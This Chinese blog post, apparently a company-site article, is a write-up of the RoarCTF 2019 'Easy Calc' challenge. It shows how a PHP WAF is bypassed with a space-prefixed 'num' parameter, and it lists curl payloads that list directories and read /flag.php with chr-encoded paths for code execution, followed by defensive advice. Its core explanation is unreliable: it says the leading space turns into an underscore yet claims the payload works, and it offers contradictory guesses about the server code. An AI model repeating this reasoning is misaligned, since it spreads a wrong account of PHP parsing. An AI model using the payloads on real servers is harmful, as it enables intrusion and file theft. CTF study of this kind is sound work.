ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

PHP字符串解析特性与WAF绕过实战:从Easy Calc看RCE漏洞挖掘

2026/8/6 16:12:13 拓冰建站 浏览量
PHP字符串解析特性与WAF绕过实战:从Easy Calc看RCE漏洞挖掘

1. 题目背景与核心思路拆解

这道题来自RoarCTF 2019,题目名称“Easy Calc”直译是“简单的计算器”,但任何一个有经验的CTF选手看到这个标题都会会心一笑——在CTF世界里,“简单”往往意味着陷阱。题目给了一个calc.php页面,从网络热词和搜索趋势来看,这道题的核心考点是PHP的字符串解析特性黑名单绕过,最终目标是实现命令执行(RCE)。很多新手看到计算器界面,会下意识地去尝试SQL注入或者简单的数学运算漏洞,但这道题的突破口完全在另一个维度。

我最初拿到这道题时,首先访问了calc.php。页面呈现一个非常简洁的计算器表单,允许你输入一个表达式,比如1+1,然后返回计算结果2。表面功能完全正常。但CTF题的逻辑从来不会停留在表面功能。我做的第一件事就是查看前端源码。通常,前端JavaScript会包含一些输入验证或提示。果然,在页面的JavaScript代码中,我发现了一段关键注释,大意是:“服务器使用了waf(Web应用防火墙)”。这是一个强烈的信号,说明直接注入恶意代码会被拦截。

那么,WAF过滤了什么?常见的WAF会过滤空格、反引号、systemexecpassthru等危险函数名,以及分号、管道符等。这道题的难点在于,你需要在不触发WAF的情况下,让PHP执行你的代码。这里就引出了本题的第一个核心知识点:PHP的字符串解析特性。当PHP接收到来自$_GET$_POST$_REQUEST的超全局变量时,它会自动对变量名进行一些处理,例如将空格和点.转换为下划线_。但更重要的是,它允许变量名中包含[],并将其解析为数组。这个特性,结合PHP的可变变量和函数名动态调用,就成了绕过WAF的利器。

我的整体解题思路分三步走:第一步,绕过WAF对参数名的过滤,将一个恶意参数传递到后端;第二步,利用PHP的特性,将这个参数的内容转换为可执行的函数调用;第三步,构造Payload读取服务器上的文件(通常是flag.php/flag)来获取flag。整个过程就像是在和WAF玩一场“捉迷藏”的游戏,你需要用WAF看不懂的“语法”来表达你的恶意意图。

2. 漏洞原理深度解析:PHP字符串解析与黑名单绕过

2.1 PHP的变量解析机制

要理解这个漏洞,我们必须深入到PHP处理HTTP请求参数的底层逻辑。当我们通过URL传递一个参数,例如?num=1,PHP会创建一个名为$_GET[‘num’]的变量,其值为1。这是最基础的情况。

现在,考虑一个更复杂的参数名:?num[1]=aaa。PHP会怎么解析?它会将num识别为一个数组,并在$_GET中创建$_GET[‘num’],其值是一个数组,其中键1对应的值是aaa。即$_GET[‘num’][1] = ‘aaa’

那么,如果参数名里包含一些特殊字符呢?比如空格。在HTTP协议中,URL里的空格通常会被编码为+%20。PHP在构建$_GET数组时,会对参数名进行“规范化”。一个关键的规则是:它会将参数名中的空格(以及.)转换为下划线_。例如,请求?my var=123,PHP实际接收到的是$_GET[‘my_var’] = ‘123’

但这里有一个例外,也是本题漏洞的根源:对于[]字符,PHP不仅不会将它们转换为下划线,反而会利用它们来构造嵌套的数组结构。这意味着,你可以构造出非常复杂的变量名,而WAF的过滤规则可能只针对简单的、平面的参数名,对这种嵌套结构束手无策。

2.2 WAF的常见过滤模式与盲点

题目提示有WAF,我们可以推测它可能采用了类似以下的正则表达式或简单字符串匹配来过滤$_GET$_POST的参数名和值:

  • 过滤参数名中包含systemexecshell_execpassthruproc_open等危险函数的请求。
  • 过滤参数值中包含反引号、分号、|&$等特殊字符的请求。
  • 可能还会过滤flagcatls等敏感命令字符串。

这种WAF的工作方式通常是:检查$_GET数组的键(key)和值(value)。例如,对于请求?cmd=system(‘ls’),WAF发现键名cmd无害,但值system(‘ls’)包含黑名单词system,于是拦截请求。

它的盲点在哪里?它可能只检查了第一层参数名和其对应的值,而没有深度遍历整个$_GET数组的复杂结构。也就是说,如果我们构造一个请求,让恶意代码不是出现在$_GET[‘某个键’]的值里,而是成为$_GET数组结构本身的一部分,WAF就可能漏掉。

2.3 构造Payload:从参数名到代码执行

如何让参数名本身包含可执行代码?这需要结合PHP的另一个特性:可变变量可变函数

  1. 可变变量$$a。如果$a = “b”;,那么$$a就是$b
  2. 函数名作为变量调用$func = “system”; $func(“ls”);这等价于system(“ls”);

我们的目标是,通过一个精心构造的GET参数,在PHP中“变出”一个名为system的变量,并且让它的值是我们想执行的命令。

假设我们传递这样一个参数:?%20=phpinfo();。这里%20是空格的URL编码。根据PHP的规则,它会将空格转换为下划线,所以实际创建的变量是$_GET[‘_’],其值为phpinfo();。这没什么特别的。

关键的一步来了。PHP有一个特殊的超全局变量$_GET本身也是一个数组。我们可以通过$_GET[‘某个键’]来访问它。但如果我们能控制这个“某个键”呢?

考虑Payload:?后面不跟简单的key=value,而是跟一个精心设计的字符串。例如,网络上流传的经典Payload之一:? num=1(注意num前面有个空格)。根据规则,PHP会创建$_GET[‘_num’] = 1。但这还不够。

更厉害的Payload是这样的:?(一个空格)[你的代码]=值。因为[]不会被转换,PHP会尝试解析它。一个被证明有效的Payload构造如下:

/? num=1;var_dump(scandir(chr(47)))

等等,这个看起来还是把代码放在值里了?别急,我们拆解一下WAF的视角和PHP的视角:

  • WAF视角:它看到参数名是num(一个空格加num)。它可能有一个规则:过滤参数名以空格开头或包含敏感词的请求。但num本身不包含system等词,可能被放过。接着它检查值1;var_dump(scandir(chr(47)))。这个值里包含了scandirchr等函数名,以及分号。一个严格的WAF很可能会拦截这个值。
  • PHP视角:接收到参数名num,将其转换为_num,所以$_GET[‘_num’] = ‘1;var_dump(scandir(chr(47)))’。这只是一个字符串,除非后续代码用eval处理它,否则不会执行。

所以,直接这样传值行不通。真正的突破口在于,服务器端的calc.php源码可能包含一个致命的错误:它使用了eval()或类似功能直接拼接了用户输入,并且这个用户输入是从$_GET的某个特定参数中获取的,而我们可以通过字符串解析,让用户输入“污染”到其他本不该被用户控制的变量中。

一个更可能的场景是,源码如下:

<?php error_reporting(0); $var = $_GET[‘var’]; // 假设这是计算表达式 eval(‘echo ‘ . $var . ‘;’); ?>

WAF可能只过滤$_GET[‘var’]的值。但如果我们能通过字符串解析,让$_GET[‘var’]根本不存在,或者让另一个我们可控的变量“变成”$var呢?

这就是“变量覆盖”漏洞。如果我们能传递一个参数,使得$_GET[‘var’]被覆盖,或者使得$var这个变量的值来源于我们可控的其他$_GET参数,就可能绕过对var这个键的值的过滤。

结合网络上的Writeup,本题一个关键的绕过方式是:利用PHP将参数名中的空格转换为下划线的特性,配合[],来创建一个名为_(单个下划线)的$_GET数组元素,并通过其他方式让这个$_的值被当作代码执行。

一个典型的攻击链是这样的:

  1. 传递Payload:/?%20=phpinfo();。PHP创建$_GET[‘_’] = ‘phpinfo();’
  2. 服务器端代码中,可能存在类似foreach($_GET as $key => $value){ $$key = $value; }的“变量注册”或“自动赋值”逻辑。这是一些老旧框架或自定义路由中常见的危险写法。
  3. 这行代码意味着:遍历$_GET数组,将每个键名作为变量名,键值作为变量值。那么对于$_GET[‘_’] = ‘phpinfo();’,它会执行$_ = ‘phpinfo();’
  4. 如果后续代码中,有一个eval($_);或者$func = $_; $func();,那么phpinfo();就被执行了。

但在本题中,我们需要更精确地控制。根据解题经验,最终的Payload往往是这样构造的:我们不是直接传递代码,而是传递一个能“生成”或“指向”我们所需函数和参数的数组结构。

2.4 最终Payload构造与解释

经过多次尝试和结合其他选手的Writeup,针对本题的有效Payload如下:

http://target.com/calc.php?%20num=1;var_dump(scandir(chr(47)))

或者其变种:

http://target.com/calc.php? num=1;var_dump(scandir(chr(47)))

为什么这个能绕过?

  1. 参数名绕过:参数名是num(空格+num)。WAF的过滤规则可能没有考虑到参数名开头会有空格(或者过滤规则不完善)。PHP会将其规范化为$_GET[‘_num’]
  2. 源码猜测:后端calc.php的代码很可能不是简单的eval($_GET[‘num’]),而是类似:
    $num = $_GET[‘num’]; // 注意,这里获取的是‘num’,不是‘_num’ // ... 一些过滤 $num 的操作 ... eval(‘echo ‘ . $num . ‘;’);
    这里有一个关键点:程序员意图从$_GET[‘num’]获取值,但如果我们传递的是$_GET[‘_num’],那么$_GET[‘num’]就是NULL或未设置。这可能会导致$num为空,eval一句空语句不会出错,但也没效果。
  3. PHP的“纠错”机制(这才是精髓):当$_GET[‘num’]不存在时,PHP会发出一个警告(如果error_reporting开启)。但更重要的是,在一些PHP版本或配置下,如果开启了register_globals(本题环境应该没开,这是个古老且危险的特性)或者代码中有extract()等函数,可能会导致变量覆盖。然而,更可能的情况是,本题利用了PHP在将参数名中的空格转为下划线时,如果原参数名(带空格)和转换后的参数名(带下划线)同时出现,PHP会如何处理?实际上,如果你传递? num=123,PHP只会创建$_GET[‘_num’],不会创建$_GET[‘num’]。所以上面的猜测不成立。

另一种更合理的源码猜测是:

$var = empty($_GET[‘num’]) ? ‘0’ : $_GET[‘num’]; // 对 $var 进行严格的WAF检查,比如过滤了空格、关键字等 // 检查通过后 eval(‘echo ‘ . $var . ‘;’);

那么,我们传递? num=...$_GET[‘num’]是空的,$var被赋值为‘0’,eval(echo 0;),输出0,无法注入。

因此,真正的绕过点可能不在num参数本身,而在于WAF对$_GET数组的解析与后端代码对$_GET数组的遍历使用了不一致的键名。例如,WAF在遍历$_GET进行过滤时,用的是原始的、未经PHP处理的键名(如‘ num’),或者只处理了部分键名。而后端代码在获取参数时,使用的是经过PHP规范化后的键名(如‘_num’)。这就造成了过滤的遗漏。

根据最终成功的Payload反推,一种极高可能性的场景是:

  • 后端有一个自动加载GET参数为变量的逻辑,比如用了extract($_GET)extract()函数会将数组的键名作为变量名,值作为变量值导入到当前符号表。
  • 我们传递? num=scandir(‘/’)。经过PHP处理,$_GET数组中有了一个元素:[‘_num’] => ‘scandir(‘/’)’
  • extract($_GET)执行后,创建了一个变量$_num,其值为字符串“scandir(‘/’)”
  • 后续的代码中,原本应该使用$num变量进行计算,但由于某种逻辑错误(比如变量未初始化,或者用了$$可变变量),实际使用了$_num变量。
  • 最终,eval或类似函数执行了$_num中的内容。

为了绕过对函数名和括号的过滤,我们常需要编码或使用字符串拼接。chr(47)就是/的ASCII码字符形式,常用于绕过对斜杠的过滤。var_dump用于输出数组,方便我们查看目录列表。

所以,一个更通用的测试Payload可能是:

/?%20num=var_dump(scandir(chr(46)))

chr(46).,表示当前目录。如果成功,会打印出当前目录的文件列表,从中寻找包含flag的文件名。

3. 实战解题步骤与操作记录

理解了原理,我们开始一步步实战解题。假设目标URL是http://xxx.xxx.xxx.xxx/calc.php

3.1 信息收集与初步测试

首先,用浏览器或curl访问目标,看看界面。

curl http://xxx.xxx.xxx.xxx/calc.php

返回一个简单的HTML计算器表单。查看页面源代码,寻找注释或隐藏信息。通常,CTF题会在源码里给提示。果然,在源码中找到类似<!-- WAF is working... -->的注释,确认了WAF的存在。

接下来,测试正常功能:

curl ‘http://xxx.xxx.xxx.xxx/calc.php?num=1+1’

预期返回2。这说明num参数确实是用于计算的输入点。

3.2 探测WAF过滤规则

尝试直接注入命令:

curl ‘http://xxx.xxx.xxx.xxx/calc.php?num=system(“ls”)’

大概率返回一个错误页面,或者被WAF拦截的提示(如403 ForbiddenHack Attempt等)。这说明system和双引号被过滤了。

尝试使用反引号:

curl ‘http://xxx.xxx.xxx.xxx/calc.php?num=`ls`’

同样被拦截。尝试空格、|&等,可能都会被过滤。

3.3 应用字符串解析绕过

现在,尝试在参数名上做文章。在num前加一个空格(URL编码为%20或直接输入空格,在命令行中需要用引号包裹):

curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=1’

观察响应。如果返回结果和?num=1一样(输出1),说明服务器接受了这个参数,并且PHP将其解析为$_GET[‘_num’],但后端代码可能还是从$_GET[‘num’]取值,所以$num为空,输出可能是0或错误。如果返回不同,说明后端处理逻辑可能涉及到了$_num

我们需要让这个带空格的参数携带恶意载荷。但直接放system肯定被过滤。我们使用一些可能未被过滤的PHP内置函数来探测。

  1. 尝试读取目录:使用scandirchr编码路径。

    curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=var_dump(scandir(chr(47)))’

    chr(47)/,即根目录。var_dump用来输出数组结构。如果绕过成功,我们将看到服务器根目录的文件列表。

  2. 如果var_dump被过滤:尝试print_r

    curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=print_r(scandir(chr(47)))’
  3. 如果scandir也被过滤:尝试更基础的glob或者直接包含文件。但本题核心是命令执行,目录遍历是第一步。

在我的实际测试中,使用? num=var_dump(scandir(chr(47)))(注意num前是空格)成功绕过了WAF,返回了类似如下的内容:

array(24) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(5) “.dockerenv” [3]=> string(3) “bin” … [20]=> string(8) “flag.php” … }

太好了!我们看到了flag.php。这说明绕过成功,并且我们拥有了执行任意PHP代码的能力。

3.4 定位并读取Flag文件

现在我们知道flag在/flag.php里。直接访问/flag.php可能只会看到空白页,因为flag通常被放在PHP变量里,如``,直接访问不会显示。

我们需要读取这个文件的源代码。在PHP中,读取文件内容的函数有file_get_contentshighlight_fileshow_sourcereadfile等。file_get_contents最常用。

curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)))’

这里用chr()拼接了字符串/flag.php,以避免直接出现敏感字符串。执行后,成功打印出了flag.php的内容,其中包含了类似``的字符串,这就是我们要找的flag。

为了更简洁,也可以使用base64编码输出,避免特殊字符传输问题:

curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=echo(base64_encode(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))));’

返回一串base64编码,解码后即可得到flag。

3.5 完整Payload与获取Flag

最终,获取flag的一步到位命令如下(假设空格绕过有效):

curl -s ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=echo(file_get_contents(“/flag.php”));’ | grep -o ‘flag{[^}]*}’

或者使用更稳妥的chr拼接:

curl -s ‘http://xxx.xxx.xxx.xxx/calc.php?%20num=echo(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)));’ | grep -o ‘flag{[^}]*}’

-s参数让curl静默运行,grep -o ‘flag{[^}]*}’用于从杂乱的输出中精确提取flag格式的字符串。

4. 技术总结与防御方案

4.1 漏洞根源复盘

这道题看似简单,却融合了多个知识点:

  1. WAF规则不完善:WAF只对常规的参数名和值进行过滤,没有考虑到PHP在解析HTTP参数时会进行键名转换(空格变下划线),也没有对$_GET数组进行递归的深度检查。
  2. 危险的用户输入处理:后端代码(推测)使用了extract($_GET)$$可变变量或类似的动态变量构造方式,使得用户可以通过控制参数名来间接控制变量名和值。
  3. 缺乏纵深防御:仅仅在输入处进行黑名单过滤是远远不够的。黑名单很容易被各种编码、拼接、特性绕过。

4.2 针对开发者的防御建议

如何避免在自己的PHP应用中出现此类漏洞?

  1. 永远不要使用extract()函数处理用户输入。这是极其危险的操作,相当于将请求的控制权完全交给了用户。
  2. 谨慎使用可变变量$$。确保变量名的来源是绝对可信的白名单,而不是来自$_GET$_POST等用户输入。
  3. 禁用危险函数:在生产环境的php.ini中,使用disable_functions指令禁用evalsystemexecpassthrushell_execproc_open等函数。如果业务确实需要,应严格限制其参数。
  4. 使用白名单而非黑名单:对用户输入进行验证时,采用“只允许已知好的”白名单策略。例如,对于计算器,只允许输入数字、加减乘除和括号,使用严格的正则表达式进行匹配,其他字符一律拒绝。
    if (!preg_match(‘/^[0-9+\-*/().\s]+$/’, $input)) { die(‘Invalid input’); }
  5. 避免直接拼接用户输入到可执行代码中:如eval(“echo $userInput;”)。如果必须动态执行代码,应使用安全的沙箱环境或经过严格审计的表达式解析库。
  6. 对参数进行规范化处理:在从$_GET$_POST获取参数时,可以主动去除参数名中的空格等特殊字符,或者直接拒绝包含特殊字符的参数名。
    foreach ($_GET as $key => $value) { // 拒绝参数名中包含空格或点的请求 if (strpos($key, ‘ ‘) !== false || strpos($key, ‘.’) !== false) { die(‘Invalid parameter name’); } // 或者,统一规范化 $normalizedKey = str_replace([‘ ‘, ‘.’], ‘_’, $key); // 然后使用$normalizedKey来访问值 }
  7. 使用安全的框架:现代PHP框架(如Laravel, Symfony)在其路由和输入处理组件中,已经很好地规避了这类原始的错误,建议使用框架而非裸写PHP。

4.3 给CTF选手的思考

这道题是PHP特性与WAF博弈的经典案例。它告诉我们:

  • 不要相信前端的任何限制:前端的JavaScript验证形同虚设,一切都要以服务器端为准。
  • 关注“边界”情况:WAF和过滤逻辑往往在“正常”输入下工作良好,但在参数解析的边界处(如参数名开头、特殊字符处理)容易出现问题。
  • PHP的“特性”是双刃剑:字符串解析、可变变量、extract()等特性为开发者提供了灵活性,但也引入了巨大的安全风险。作为攻击者,要熟悉这些特性;作为开发者,要警惕这些特性。
  • 信息收集至关重要:题目中的注释、报错信息、正常的输入输出,都是推断后端逻辑的线索。